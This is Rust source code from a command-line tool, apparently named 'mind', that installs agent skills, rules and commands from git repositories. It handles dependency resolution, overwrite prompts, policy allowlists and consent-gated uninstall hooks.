fn expandable_files(item: &CatalogItem) -> Result<Vec<std::path::PathBuf>> {
let mut files: Vec<std::path::PathBuf> = Vec::new();
if item.path.is_dir() {
install::collect_files(&item.path, &mut files)?;
files.sort();
} else {
files.push(item.path.clone());
}
Ok(files
.into_iter()
.filter(|file| crate::namespace::item_expands_tokens(item, &item.path, file))
.collect())
}
fn link_reconciled<'a>(
paths: &Paths,
registry: &Registry,
item: &'a CatalogItem,
) -> Result<(std::borrow::Cow<'a, CatalogItem>, Vec<String>)> {
let Some(source) = registry.find(&item.source) else {
return Ok((std::borrow::Cow::Borrowed(item), Vec::new()));
};
if source.item_path.is_none() {
return Ok((std::borrow::Cow::Borrowed(item), Vec::new()));
}
let remedy = || {
if !link_is_conventionally_placed(source, item.kind) {
return format!(
"this item cannot be installed any other way than as a link: the linked file \
sits outside a conventional {}/ directory, so no whole-repo meld discovers it. \
Drop the reference; or, if you can push upstream, move the file under {}/ and \
re-link it; or fork the repo, move the file there, and link the fork instead",
item.kind.dir(),
item.kind.dir()
);
}
let add_root = (!plain_meld_reaches_link(paths, source, item.kind))
.then(|| {
source
.item_path
.as_deref()
.map(|p| link_add_root(p, item.kind))
})
.flatten();
let command = link_meld_remedy(
&source.name,
&source.url,
&item.name,
item.kind,
add_root.as_deref(),
);
format!("meld the whole repo and install just this item: `{command}`")
};
for file in expandable_files(item)? {
let Ok(text) = std::fs::read_to_string(&file) else {
continue;
};
for r in crate::namespace::sibling_reference_tokens(&text) {
if sibling_token_resolves_alone(&r, item) {
continue;
}
return Err(MindError::LinkRefUnsatisfiable {
item: item.display_key(),
referent: strip_ansi(&r.token),
in_source: strip_ansi(&item.source),
remedy: remedy(),
});
}
}
let (keep, dropped): (Vec<String>, Vec<String>) = item
.requires
.iter()
.cloned()
.partition(|e| requires_resolves_alone(e, item));
if dropped.is_empty() {
return Ok((std::borrow::Cow::Borrowed(item), Vec::new()));
}
let dropped: Vec<String> = dropped.iter().map(|e| strip_ansi(e)).collect();
let listed = dropped.join(", ");
let remedy = remedy();
crate::render::warn(format!(
"{} declares requires {listed}, which was dropped: source {} is a single-item \
link with no siblings, so the requirement cannot resolve. To install this item \
together with what it requires, {remedy}",
item.display_key(),
strip_ansi(&item.source)
));
let mut reconciled = item.clone();
reconciled.requires = keep;
Ok((std::borrow::Cow::Owned(reconciled), dropped))
}
pub fn init_source(
dir: Option<&str>,
template: bool,
marketplace: bool,
flat_skills_flag: bool,
namespace: Option<String>,
) -> Result<()> {
let dir = dir.unwrap_or(".");
let path = std::path::Path::new(dir);
if !path.is_dir() {
return Err(MindError::NotADirectory {
path: dir.to_string(),
});
}
let root = path.canonicalize().map_err(|e| MindError::io(path, e))?;
let toml_path = root.join("mind.toml");
let pre_toml = read_existing_mind_toml(&toml_path, crate::error::metadata_size_limit())?;
let mut source = parse_spec(&root.to_string_lossy())?;
if flat_skills_flag {
source.flat_skills = true;
}
let mut items: Vec<CatalogItem> = Vec::new();
catalog::scan_source_at(&root, &source, &mut items)?;
println!("init-source: {}", root.display());
if items.is_empty() {
println!(
" no items found (skills/<name>/SKILL.md, agents/<name>.md, rules/<name>.md, \
commands/<name>.md, workflows/<name>.js, tools/<name>/)"
);
} else {
println!(" {} item(s):", items.len());
for it in &items {
println!(" {} {}", it.kind, it.display_name());
}
}
let siblings: std::collections::HashSet<String> =
items.iter().map(|it| it.name.clone()).collect();
let prefix_in_force = items.iter().any(|it| it.prefix.is_some());
let mut findings: Vec<crate::review::Finding> = Vec::new();
for it in &items {
let content = read_item_text(it);
let tokens: Vec<String> = crate::namespace::referenced_names(&content)
.into_iter()
.filter(|n| n != &it.name)
.collect();
let bare: Vec<String> = crate::namespace::unguarded_refs(&content, &siblings)
.into_iter()
.filter(|n| n != &it.name)
.collect();
if !tokens.is_empty() {
println!(
" {} {} -> {} (tokenized)",
it.kind,
it.name,
tokens.join(", ")
);
}
if prefix_in_force && !bare.is_empty() {
findings.push(crate::review::Finding::advisory(
"unguarded-reference",
format!(
"{}: references sibling(s) in prose: {}; prefixing may break them at runtime (use {{{{ns:name}}}})",
it.key().as_str(),
bare.join(", ")
),
));
}
}
let has_unguarded = findings.iter().any(|f| f.kind == "unguarded-reference");
findings.extend(crate::review::duplicate_tooling_findings(&items));
crate::review::print_findings(&[], &findings);
if has_unguarded && !template {
let quoted_dir = crate::error::shell_quote(dir);
println!(
"run `mind init-source {quoted_dir} --template` to wrap the bare references as {{{{ns:name}}}}"
);
}
let release_tags = |text: String| -> String {
let template = crate::version::Template::parse(crate::scaffold::RELEASE_TAGS)
.expect("the default template parses");
let found = git::ls_remote_tags(&root.to_string_lossy())
.map(|tags| crate::version::releases(&template, &tags).0.len())
.unwrap_or(0);
if found == 0 {
return text;
}
println!(
" {found} release tag(s) match {}; declaring release-tags",
crate::scaffold::RELEASE_TAGS
);
crate::scaffold::with_release_tags(&text)
};
if flat_skills_flag || namespace.is_some() {
let mut patched = crate::scaffold::patch_source_meta(
pre_toml.as_deref(),
flat_skills_flag,
namespace.as_deref(),
);
if pre_toml.is_none() {
patched = release_tags(patched);
}
std::fs::write(&toml_path, &patched).map_err(|e| MindError::io(&toml_path, e))?;
println!(" wrote mind.toml");
} else if toml_path.exists() {
println!(" mind.toml already exists; left unchanged");
} else {
std::fs::write(&toml_path, release_tags(crate::scaffold::scaffold()))
.map_err(|e| MindError::io(&toml_path, e))?;
println!(" wrote mind.toml");
}
if marketplace {
if plugin_manifest::find_marketplace_manifest(&root).is_some() {
println!(" .claude-plugin/marketplace.json already exists; left unchanged");
} else {
let dir_basename = root
.file_name()
.map(|n| n.to_string_lossy().into_owned())
.unwrap_or_default();
let mindfile_prefix =
crate::mindfile::MindToml::load(&root)?.and_then(|mt| mt.source.prefix);
let name = crate::scaffold::plugin_name(
&dir_basename,
mindfile_prefix.as_deref(),
namespace.as_deref(),
);
let description = crate::mindfile::MindToml::load(&root)
.ok()
.flatten()
.and_then(|mt| mt.source.description)
.filter(|d| !d.trim().is_empty())
.unwrap_or_else(|| "TODO: describe this plugin".to_string());
let skills: Option<Vec<String>> = if flat_skills_flag {
let mut paths: Vec<String> = items
.iter()
.filter(|it| it.kind == ItemKind::Skill)
.filter_map(|it| {
it.path
.strip_prefix(&root)
.ok()
.map(|rel| rel.to_string_lossy().into_owned())
})
.collect();
paths.sort();
Some(paths)
} else {
None
};
let plugin_dir = root.join(".claude-plugin");
std::fs::create_dir_all(&plugin_dir).map_err(|e| MindError::io(&plugin_dir, e))?;
let json_path = plugin_manifest::marketplace_manifest_path(&root);
let json =
crate::scaffold::render_marketplace_json(&name, &description, skills.as_deref());
std::fs::write(&json_path, &json).map_err(|e| MindError::io(&json_path, e))?;
println!(" wrote .claude-plugin/marketplace.json");
}
}
if template {
let mut total = 0usize;
for it in &items {
let mut sibs = siblings.clone();
sibs.remove(&it.name);
for file in crate::review::item_files(it) {
if !crate::namespace::is_markdown(&file) {
continue;
}
let Ok(content) = std::fs::read_to_string(&file) else {
continue; };
let (rewritten, n) = crate::namespace::templatize(&content, &sibs);
if n > 0 {
std::fs::write(&file, &rewritten).map_err(|e| MindError::io(&file, e))?;
println!(" templated {n} reference(s) in {}", file.display());
total += n;
}
}
}
if total == 0 {
println!(" no bare references to template");
}
}
Ok(())
}
fn read_item_text(item: &CatalogItem) -> String {
let mut buf = String::new();
for file in crate::review::item_files(item) {
if !crate::namespace::item_expands_tokens(item, &item.path, &file) {
continue;
}
if !is_regular_file_nofollow(&file) {
continue;
}
if let Ok(content) = std::fs::read_to_string(&file) {
buf.push_str(&content);
buf.push('\n');
}
}
buf
}
fn read_existing_mind_toml(path: &std::path::Path, limit: u64) -> Result<Option<String>> {
if !path.exists() {
return Ok(None);
}
crate::error::read_capped_metadata_with(path, limit).map(Some)
}
fn is_regular_file_nofollow(file: &std::path::Path) -> bool {
std::fs::symlink_metadata(file).is_ok_and(|m| m.file_type().is_file())
}
fn run_uninstall_hooks(
paths: &Paths,
registry: &Registry,
idx: usize,
source_name: &str,
uninstall_hook: Option<&str>,
dangerously_skip_hook_check: bool,
) -> Result<bool> {
let clone_dir = registry.sources[idx].clone_dir(paths);
let source_pin = registry.sources[idx].pin.clone();
let source_commit = registry.sources[idx].commit.clone();
let mindfile = MindToml::load(&clone_dir).unwrap_or_default();
let toml_path = clone_dir.join("mind.toml");
let resolved = mindfile
.as_ref()
.map(|m| m.resolved_hooks(&toml_path))
.transpose()?
.unwrap_or_default();
let (resolved, replaced) =
crate::hook::apply_hook_override(resolved, uninstall_hook, HookEvent::Uninstall);
let override_cmd = uninstall_hook.map(str::trim).filter(|s| !s.is_empty());
let replaced_note = replaced.map(|cmds| cmds.join("; "));
let pin_desc = pin_description(&source_pin);
let commit = source_commit.unwrap_or_default();
let clone_path = clone_dir.display().to_string();
for h in resolved.iter().filter(|h| h.event == HookEvent::Uninstall) {
let declared_override = match (&replaced_note, override_cmd) {
(Some(note), Some(cmd)) if h.run == cmd => Some(note.as_str()),
_ => None,
};
let browse_url = registry.sources[idx].browse_url(&commit);
let disclosure = crate::hook::hook_disclosure_text(
h.label(),
h.event.as_str(),
h.optional,
source_name,
&pin_desc,
&commit,
&clone_path,
&h.run,
declared_override,
browse_url.as_deref(),
);
match crate::hook::decide(&disclosure, h.optional, dangerously_skip_hook_check)? {
crate::hook::HookAct::Run => {
println!("running uninstall hook '{}' for {}", h.label(), source_name);
let hook_env = source_hook_env(®istry.sources[idx]);
crate::hook::run_hook(
&h.run,
&clone_dir,
source_name,
"uninstall",
h.label(),
&hook_env,
)?;
}
crate::hook::HookAct::Skip => {
crate::render::note(format!(
"note: skipped uninstall hook '{}' for {}",
h.label(),
source_name
));
}
crate::hook::HookAct::Abort => {
println!("aborted; source left in place");
return Ok(false);
}
}
}
Ok(true)
}
pub fn unmeld(
paths: &Paths,
name: &str,
unlink_only: bool,
yes: bool,
dangerously_skip_hook_check: bool,
uninstall_hook: Option<String>,
) -> Result<()> {
let out = crate::render::ctx();
let registry = Registry::load(paths)?;
crate::resolve::validate_source_selector(name)?;
let matched: Vec<usize> = if is_glob(name) {
registry
.sources
.iter()
.enumerate()
.filter(|(_, s)| source_matches_glob(&s.name, name))
.map(|(i, _)| i)
.collect()
} else {
let exact: Vec<usize> = registry
.sources
.iter()
.enumerate()
.filter(|(_, s)| source_matches(&s.name, name))
.map(|(i, _)| i)
.collect();
match exact.as_slice() {
[] => {
return Err(MindError::SourceNotFound {
name: name.to_string(),
});
}
[only] => vec![*only],
many => {
return Err(MindError::AmbiguousSource {
query: name.to_string(),
candidates: many
.iter()
.map(|i| registry.sources[*i].name.clone())
.collect(),
});
}
}
};
if matched.is_empty() {
return Err(MindError::SourceNotFound {
name: name.to_string(),
});
}
if matched.len() > 1 && !yes {
if !out.json {
println!("unmeld would remove {} source(s):", matched.len());
for i in &matched {
println!(" {} {}", out.warn(), registry.sources[*i].name);
}
}
if !crate::hook::is_tty() || out.json {
return Err(MindError::ConfirmationRequired {
action: json_confirmation_action(
format!("unmelding {} sources", matched.len()),
out.json,
),
});
}
if !confirm("remove these source(s)?")? {
println!("cancelled; nothing removed");
return Ok(());
}
}
let multi = matched.len() > 1;
let names: Vec<String> = matched
.iter()
.map(|i| registry.sources[*i].name.clone())
.collect();
drop(registry);
for source_name in names {
unmeld_one(
paths,
&source_name,
unlink_only,
yes || multi,
dangerously_skip_hook_check,
uninstall_hook.as_deref(),
)?;
}
Ok(())
}
fn unmeld_one(
paths: &Paths,
source_name: &str,
unlink_only: bool,
yes: bool,
dangerously_skip_hook_check: bool,
uninstall_hook: Option<&str>,
) -> Result<()> {
let out = crate::render::ctx();
let mut registry = Registry::load(paths)?;
let idx = match registry.sources.iter().position(|s| s.name == source_name) {
Some(i) => i,
None => {
return Err(MindError::SourceNotFound {
name: source_name.to_string(),
});
}
};
let source_name = source_name.to_string();
let mut manifest = Manifest::load(paths)?;
let item_keys: Vec<String> = manifest
.items
.values()
.filter(|it| it.source == source_name)
.map(|it| it.key().into())
.collect();
if unlink_only {
let proceed = run_uninstall_hooks(
paths,
®istry,
idx,
&source_name,
uninstall_hook,
dangerously_skip_hook_check,
)?;
if !proceed {
return Ok(());
}
let source = registry.sources.remove(idx);
let dir = clone_dir_checked(paths, &source)?;
if !source.is_linked() && dir.exists() {
std::fs::remove_dir_all(&dir).map_err(|e| MindError::io(&dir, e))?;
}
registry.save(paths)?;
if out.json {
let mut result = MutationResult::new("unmeld", &source_name, "unlinked");
result.count = Some(item_keys.len());
return print_json(&result);
}
if item_keys.is_empty() {
println!("{} unmelded {source_name}", out.ok());
} else {
println!(
"{} unmelded {source_name}; {} item(s) remain installed:",
out.ok(),
item_keys.len()
);
for k in &item_keys {
println!(" {} {}", out.bullet(), strip_ansi(k));
}
let quoted_ref = crate::error::shell_quote(&format!("{source_name}#*"));
println!("run `mind forget {quoted_ref}` to remove them");
}
return Ok(());
}
if item_keys.len() > 1 && !yes {
if !out.json {
println!(
"unmelding {source_name} will remove {} installed item(s):",
item_keys.len()
);
for k in &item_keys {
println!(" {} {}", out.warn(), strip_ansi(k));
}
}
if !crate::hook::is_tty() || out.json {
return Err(MindError::ConfirmationRequired {
action: json_confirmation_action(
format!(
"unmelding {source_name} (removing {} items)",
item_keys.len()
),
out.json,
),
});
}
if !confirm("remove these item(s) and unmeld the source?")? {
println!("cancelled; nothing removed");
return Ok(());
}
}
let source_ref = ®istry.sources[idx];
let mut item_catalog: Vec<CatalogItem> = Vec::new();
let _ = catalog::scan_source(paths, source_ref, &mut item_catalog);
let commit = source_ref.commit.clone().unwrap_or_default();
let mut forgotten = 0;
for key in &item_keys {
if let Some(item) = manifest.items.remove(key) {
let uninstall_hooks: Vec<&crate::mindfile::ResolvedHook> =
item_catalog_match(&item_catalog, &item)
.map(|c| c.uninstall_hooks())
.unwrap_or_default();
if let Err(e) = uninstall_item(
paths,
&item,
&uninstall_hooks,
&commit,
dangerously_skip_hook_check,
) {
manifest.items.insert(key.clone(), item);
manifest.save(paths)?;
registry.save(paths)?;
return Err(e);
}
forgotten += 1;
}
}
manifest.save(paths)?;
let proceed = run_uninstall_hooks(
paths,
®istry,
idx,
&source_name,
uninstall_hook,
dangerously_skip_hook_check,
)?;
if !proceed {
registry.save(paths)?;
return Ok(());
}
let source = registry.sources.remove(idx);
let dir = clone_dir_checked(paths, &source)?;
if !source.is_linked() && dir.exists() {
std::fs::remove_dir_all(&dir).map_err(|e| MindError::io(&dir, e))?;
}
registry.save(paths)?;
if out.json {
let mut result = MutationResult::new("unmeld", &source_name, "removed");
result.count = Some(forgotten);
return print_json(&result);
}
println!(
"{} unmelded {source_name} ({forgotten} installed item(s) removed)",
out.ok()
);
Ok(())
}
#[allow(dead_code)]
pub struct LearnPlan {
pub tree: String,
pub adds_dependencies: bool,
pub install_count: usize,
pub keys: Vec<String>,
}
#[derive(Clone, Debug, PartialEq, Eq)]
pub(crate) struct LearnTarget {
pub source: String,
pub key: String,
}
impl LearnTarget {
fn display(&self) -> String {
format!(
"{}#{}",
strip_ansi(&self.source),
glob::Pattern::escape(&strip_ansi(&self.key))
)
}
}
#[derive(Clone, Copy)]
enum Selection<'a> {
Ref(&'a str),
Exact(&'a LearnTarget),
ExactMany(&'a [LearnTarget]),
}
impl Selection<'_> {
fn display(&self) -> String {
match self {
Selection::Ref(r) => (*r).to_string(),
Selection::Exact(t) => t.display(),
Selection::ExactMany(ts) => ts
.iter()
.map(LearnTarget::display)
.collect::<Vec<_>>()
.join(", "),
}
}
}
fn exact_index(items: &[CatalogItem], target: &LearnTarget) -> Option<usize> {
items
.iter()
.position(|c| c.source == target.source && c.key().as_str() == target.key)
}
fn resolve_learn(
paths: &Paths,
selection: Selection<'_>,
) -> Result<(Registry, Vec<CatalogItem>, crate::deps::Resolution)> {
let registry = Registry::load(paths)?;
let items = catalog::scan(paths, ®istry)?;
let selected_idx: Vec<usize> = match selection {
Selection::Ref(item_ref) => {
let parsed = parse_item_ref(item_ref)?;
let targets: Vec<&CatalogItem> = if is_glob(&parsed.name) {
let matches = select(&items, &parsed);
if matches.is_empty() {
return Err(MindError::ItemNotFound {
query: parsed.name.clone(),
sources: registry.sources.len(),
});
}
matches
} else {
vec![resolve(&items, &parsed, registry.sources.len())?]
};
targets
.iter()
.filter_map(|t| {
items
.iter()
.position(|c| c.kind == t.kind && c.name == t.name && c.source == t.source)
})
.collect()
}
Selection::Exact(target) => match exact_index(&items, target) {
Some(i) => vec![i],
None => {
return Err(MindError::ItemNotFound {
query: target.display(),
sources: registry.sources.len(),
});
}
},
Selection::ExactMany(targets) => targets
.iter()
.map(|t| {
exact_index(&items, t).ok_or_else(|| MindError::ItemNotFound {
query: t.display(),
sources: registry.sources.len(),
})
})
.collect::<Result<Vec<_>>>()?,
};
let manifest = Manifest::load(paths)?;
let installed: HashSet<String> = manifest.items.keys().cloned().collect();
let resolution = crate::deps::resolve(&items, &selected_idx, &installed, read_item_text);
Ok((registry, items, resolution))
}
#[allow(dead_code)]
pub fn learn_preview(paths: &Paths, item_ref: &str) -> Result<LearnPlan> {
learn_plan(paths, Selection::Ref(item_ref))
}
fn learn_plan(paths: &Paths, selection: Selection<'_>) -> Result<LearnPlan> {
let (_registry, items, resolution) = resolve_learn(paths, selection)?;
let order = resolution.install_order();
Ok(LearnPlan {
tree: resolution.render_tree(&items),
adds_dependencies: resolution.adds_dependencies(),
install_count: order.len(),
keys: order
.iter()
.map(|&i| items[i].key().as_str().to_string())
.collect(),
})
}
fn learn_plans(paths: &Paths, targets: &[&LearnTarget]) -> Result<Vec<LearnPlan>> {
if targets.is_empty() {
return Ok(Vec::new());
}
let registry = Registry::load(paths)?;
let items = catalog::scan(paths, ®istry)?;
let installed: HashSet<String> = Manifest::load(paths)?.items.keys().cloned().collect();
let texts: std::cell::RefCell<std::collections::HashMap<(String, String), String>> =
Default::default();
let read = |it: &CatalogItem| {
let id = (it.source.clone(), it.key().as_str().to_string());
texts
.borrow_mut()
.entry(id)
.or_insert_with(|| read_item_text(it))
.clone()
};
targets
.iter()
.map(|target| {
let idx = exact_index(&items, target).ok_or_else(|| MindError::ItemNotFound {
query: target.display(),
sources: registry.sources.len(),
})?;
let resolution = crate::deps::resolve(&items, &[idx], &installed, read);
let order = resolution.install_order();
Ok(LearnPlan {
tree: resolution.render_tree(&items),
adds_dependencies: resolution.adds_dependencies(),
install_count: order.len(),
keys: order
.iter()
.map(|&i| items[i].key().as_str().to_string())
.collect(),
})
})
.collect()
}
#[derive(Clone, Copy, PartialEq, Eq)]
pub enum Clobber {
Error,
Prompt,
Force,
Overwrite,
}
impl Clobber {
fn overwrites(self) -> bool {
match self {
Clobber::Force | Clobber::Overwrite => true,
Clobber::Prompt => OVERWRITE_ALL.load(std::sync::atomic::Ordering::Relaxed),
Clobber::Error => false,
}
}
}
static OVERWRITE_ALL: std::sync::atomic::AtomicBool = std::sync::atomic::AtomicBool::new(false);
#[derive(Debug, PartialEq, Eq)]
enum OverwriteAnswer {
Yes,
All,
No,
}
fn parse_overwrite_answer(input: &str) -> OverwriteAnswer {
match input.trim().to_ascii_lowercase().as_str() {
"y" | "yes" => OverwriteAnswer::Yes,
"a" | "all" => OverwriteAnswer::All,
_ => OverwriteAnswer::No,
}
}
fn confirm_overwrite(prompt: &str) -> Result<bool> {
let line = prompt_line(&format!("\n{prompt} [y/N/a] "))?;
Ok(match parse_overwrite_answer(&line) {
OverwriteAnswer::Yes => true,
OverwriteAnswer::All => {
OVERWRITE_ALL.store(true, std::sync::atomic::Ordering::Relaxed);
true
}
OverwriteAnswer::No => false,
})
}
#[derive(Clone, Copy)]
pub struct InstallFlow {
pub yes: bool,
pub clobber: Clobber,
pub dangerously_skip: bool,
pub dangerously_skip_build: bool,
}
pub fn apply_local_scope(
paths: &Paths,
local: bool,
) -> Result<Option<crate::paths::LocalLobeGuard>> {
let out = crate::render::ctx();
let detected = paths.detect_local_lobe()?;
if local {
match detected {
Some(lobe) => {
if !out.json {
eprintln!(
"note: --local -- installing into the project lobe {} only",
lobe.path.display()
);
}
Ok(Some(Paths::scope_to_local_lobe(lobe)))
}
None => {
if !out.json {
eprintln!(
"note: --local installs into a project lobe that lives at or below the \
current directory, but no registered project lobe lives under this \
directory"
);
eprintln!(
"hint: --local matches a lobe directory strictly BELOW the current one, \
so run it from the project root (not from inside the lobe dir or a \
nested subdirectory)"
);
eprintln!(
"hint: register one with `mind link-project` (or `mind config lobes add`), \
or drop --local to install into every configured agent home"
);
}
Err(MindError::LobeTargetRequired)
}
}
} else {
if let Some(lobe) = detected
&& !out.json
{
eprintln!(
"note: this directory has a registered project lobe ({}); \
pass --local to install only there",
lobe.path.display()
);
}
Ok(None)
}
}
#[cfg(unix)]
fn require_link_platform(_paths: &Paths) -> Result<()> {
Ok(())
}
#[cfg(not(unix))]
fn require_link_platform(paths: &Paths) -> Result<()> {
Err(MindError::io(
&paths.mind_home,
std::io::Error::new(
std::io::ErrorKind::Unsupported,
"mind requires a Unix-like platform: it links installed items with symlinks, \
and the non-unix copy fallback is not recognized as mind's own on a later \
reinstall or upgrade; this platform is not supported",
),
))
}
pub fn learn_link(
paths: &Paths,
url: &str,
pin: bool,
item_kind: Option<ItemKind>,
dry_run: bool,
flow: InstallFlow,
) -> Result<()> {
let spec = parse_spec(url)?;
if spec.item_path.is_none() {
return Err(MindError::InvalidItemRef {
name: url.to_string(),
});
}
if !is_melded(paths, url, None)? {
let pin_req = if pin {
PinRequest::Freeze(None)
} else {
PinRequest::None
};
meld(
paths,
url,
None,
vec![],
vec![],
false,
pin_req,
None,
flow.dangerously_skip,
item_kind, )?;
} else {
let out = crate::render::ctx();
if !out.json {
if pin {
println!(
"note: --pin ignored; {} is already melded (pin applies only at meld time)",
spec.name
);
}
if item_kind.is_some() {
println!(
"note: --kind ignored; {} is already melded (kind applies only at meld time)",
spec.name
);
}
}
}
learn(paths, &format!("{}#*", spec.name), dry_run, flow)
}
pub fn learn(paths: &Paths, item_ref: &str, dry_run: bool, flow: InstallFlow) -> Result<()> {
learn_selected(paths, Selection::Ref(item_ref), dry_run, flow)
}
fn learn_exact(
paths: &Paths,
target: &LearnTarget,
dry_run: bool,
flow: InstallFlow,
) -> Result<()> {
learn_selected(paths, Selection::Exact(target), dry_run, flow)
}
fn learn_selected(
paths: &Paths,
selection: Selection<'_>,
dry_run: bool,
flow: InstallFlow,
) -> Result<()> {
let InstallFlow {
yes,
clobber,
dangerously_skip,
dangerously_skip_build,
} = flow;
let policy = Policy::load()?;
let out = crate::render::ctx();
let item_ref = selection.display();
let item_ref = item_ref.as_str();
let (registry, items, resolution) = resolve_learn(paths, selection).map_err(|e| {
if let MindError::ItemNotFound { ref query, sources } = e {
let quoted_query = crate::error::shell_quote(query);
if sources > 0 {
eprintln!("hint: run `mind probe {quoted_query}` to search available items");
}
if let Ok(reg) = Registry::load(paths) {
let matching: Vec<&str> = reg
.sources
.iter()
.map(|s| s.name.as_str())
.filter(|name| source_matches(name, query))
.collect();
if let [only] = matching.as_slice() {
eprintln!(
"hint: '{query}' names the melded source {only}; run \
`mind learn --all {quoted_query}` to install all of its items"
);
}
}
}
e
})?;
let order = resolution.install_order();
let closure: Vec<&CatalogItem> = order.iter().map(|&i| &items[i]).collect();
if closure.is_empty() && !dry_run {
if out.json {
return print_json(&MutationResult::new("learn", item_ref, "up-to-date"));
}
println!("already installed; nothing to do");
return Ok(());
}
if let Some((key, sources)) = colliding_install(&closure) {
return Err(MindError::AmbiguousItem {
query: key,
candidates: sources,
});
}
warn_forged_namespaces(closure.iter().copied());
if dry_run {
if out.json {
let mut result = MutationResult::new("learn", item_ref, "dry-run");
result.installed = closure.iter().map(|t| t.display_key()).collect();
return print_json(&result);
}
if resolution.adds_dependencies() {
print!("{}", resolution.render_tree(&items));
}
println!("would learn {} item(s):", closure.len());
let rows = closure
.iter()
.map(|t| vec![t.display_key(), crate::sanitize::strip_ansi(&t.source)])
.collect::<Vec<_>>();
out.print_rows(&rows);
return Ok(());
}
if resolution.adds_dependencies() && !yes {
if out.json {
return Err(MindError::ConfirmationRequired {
action: json_confirmation_action(
format!("installing the dependency closure of '{item_ref}'"),
true,
),
});
}
print!("{}", resolution.render_tree(&items));
if !confirm("install this dependency closure?")? {
println!("cancelled; nothing installed");
return Ok(());
}
}
let mut manifest = Manifest::load(paths)?;
let mut failure = None;
let mut installed_keys: Vec<String> = Vec::new();
for target in &closure {
if let Some(policy) = policy.as_ref()
&& policy.lock()
&& !policy.allow_matches(&policy_identity(®istry, &target.source))
{
if !out.json {
println!(
"{} skipping {} from {}: source not permitted by the managed policy's allowlist",
out.warn(),
target.display_key(),
crate::sanitize::strip_ansi(&target.source)
);
}
continue;
}
let commit = match registry.find(&target.source) {
Some(s) => s.commit.clone().unwrap_or_default(),
None => {
failure = Some(MindError::SourceNotFound {
name: target.source.clone(),
});
break;
}
};
let (reconciled, dropped_requires) = match link_reconciled(paths, ®istry, target) {
Ok(c) => c,
Err(e) => {
failure = Some(e);
break;
}
};
let target: &CatalogItem = &reconciled;
if let Some(err) = agent_collision(paths, &manifest, target)? {
failure = Some(err);
break;
}
let siblings = siblings_of(&items, &target.source);
let force = clobber.overwrites();
let is_update = manifest.items.contains_key(target.key().as_str());
let mut result = install_item(
paths,
target,
&commit,
&siblings,
force,
dangerously_skip,
dangerously_skip_build,
is_update,
);
if let Err(MindError::LinkOccupied { path }) = &result
&& !force
&& clobber == Clobber::Prompt
&& crate::hook::is_tty()
&& !out.json
{
let path = path.clone();
result = if confirm_overwrite(&format!(
"{} exists and is not managed by mind; overwrite it?",
display_path(std::path::Path::new(&path))
))? {
install_item(
paths,
target,
&commit,
&siblings,
true,
dangerously_skip,
dangerously_skip_build,
is_update,
)
} else {
Err(MindError::LinkOccupied { path })
};
}
match result {
Ok(mut installed) => {
installed.dropped_requires = dropped_requires;
installed.version = release_version(®istry, &installed);
installed_keys.push(installed.key().into());
if !out.json {
println!(
"learned {} from {} ({})",
installed.display_key(),
installed.source,
out.green(&short(&installed.commit))
);
}
manifest.insert(installed);
}
Err(e) => {
failure = Some(e);
break;
}
}
}
manifest.save(paths)?;
warn_workflows(paths, &manifest, &installed_keys);
match failure {
Some(e) => Err(e),
None => {
if out.json {
let mut result = MutationResult::new("learn", item_ref, "installed");
result.installed = installed_keys
.iter()
.map(|k| crate::sanitize::strip_ansi(k))
.collect();
return print_json(&result);
}
Ok(())
}
}
}
fn learn_collecting(paths: &Paths, item_ref: &str, flow: InstallFlow) -> Result<Vec<String>> {
learn_collecting_selected(paths, Selection::Ref(item_ref), flow)
}
fn learn_collecting_exact(
paths: &Paths,
target: &LearnTarget,
flow: InstallFlow,
) -> Result<Vec<String>> {
learn_collecting_selected(paths, Selection::Exact(target), flow)
}
fn learn_collecting_selected(
paths: &Paths,
selection: Selection<'_>,
flow: InstallFlow,
) -> Result<Vec<String>> {
let InstallFlow {
clobber,
dangerously_skip,
dangerously_skip_build,
..
} = flow;
let policy = Policy::load()?;
let (registry, items, resolution) = resolve_learn(paths, selection)?;
let order = resolution.install_order();
let closure: Vec<&CatalogItem> = order.iter().map(|&i| &items[i]).collect();
if closure.is_empty() {
return Ok(vec![]);
}
if let Some((key, sources)) = colliding_install(&closure) {
return Err(MindError::AmbiguousItem {
query: key,
candidates: sources,
});
}
let mut manifest = Manifest::load(paths)?;
let mut failure = None;
let mut installed_keys: Vec<String> = Vec::new();
for target in &closure {
if let Some(policy) = policy.as_ref()
&& policy.lock()
&& !policy.allow_matches(&policy_identity(®istry, &target.source))
{
continue; }
let commit = match registry.find(&target.source) {
Some(s) => s.commit.clone().unwrap_or_default(),
None => {
failure = Some(MindError::SourceNotFound {
name: target.source.clone(),
});
break;
}
};
let (reconciled, dropped_requires) = match link_reconciled(paths, ®istry, target) {
Ok(c) => c,
Err(e) => {
failure = Some(e);
break;
}
};
let target: &CatalogItem = &reconciled;
if let Some(err) = agent_collision(paths, &manifest, target)? {
failure = Some(err);
break;
}
let siblings = siblings_of(&items, &target.source);
let force = clobber.overwrites();
let is_update = manifest.items.contains_key(target.key().as_str());
let result = install_item(
paths,
target,
&commit,
&siblings,
force,
dangerously_skip,
dangerously_skip_build,
is_update,
);
match result {
Ok(mut installed) => {
installed.dropped_requires = dropped_requires;
installed.version = release_version(®istry, &installed);
installed_keys.push(installed.key().into());
manifest.insert(installed);
}
Err(e) => {
failure = Some(e);
break;
}
}
}
manifest.save(paths)?;
warn_workflows(paths, &manifest, &installed_keys);
match failure {
Some(e) => Err(e),
None => Ok(installed_keys),
}
}
pub fn install_source_items(paths: &Paths, source_name: &str, flow: InstallFlow) -> Result<()> {
let item_ref = format!("{source_name}#*");
let quoted_item_ref = crate::error::shell_quote(&item_ref);
let plan = match learn_preview(paths, &item_ref) {
Ok(plan) => plan,
Err(MindError::ItemNotFound { .. }) => return Ok(()),
Err(e) => return Err(e),
};
if plan.install_count == 0 {
return Ok(());
}
if flow.yes {
return learn(paths, &item_ref, false, flow);
}
if !crate::hook::is_tty() {
if !json_mode() {
println!(
"note: registered only, nothing installed (not a TTY); {source_name} has {} item(s) to install; run `mind learn {quoted_item_ref}` (or re-meld with --yes)",
plan.install_count
);
}
return Ok(());
}
learn(paths, &item_ref, true, flow)?;
if confirm_default_yes(&format!(
"install these {} item(s) now?",
plan.install_count
))? {
learn(paths, &item_ref, false, InstallFlow { yes: true, ..flow })
} else {
println!("skipped; run `mind learn {quoted_item_ref}` to install later");
Ok(())
}
}
pub fn note_learn_ignores_recursive(recursive: bool) {
if recursive && !json_mode() {
println!(
"note: --recursive ignored; --learn installs only the matching items of the source \
being melded, and does not walk the sources it curates. Meld again without --learn \
to install from them, or name them directly."
);
}
}
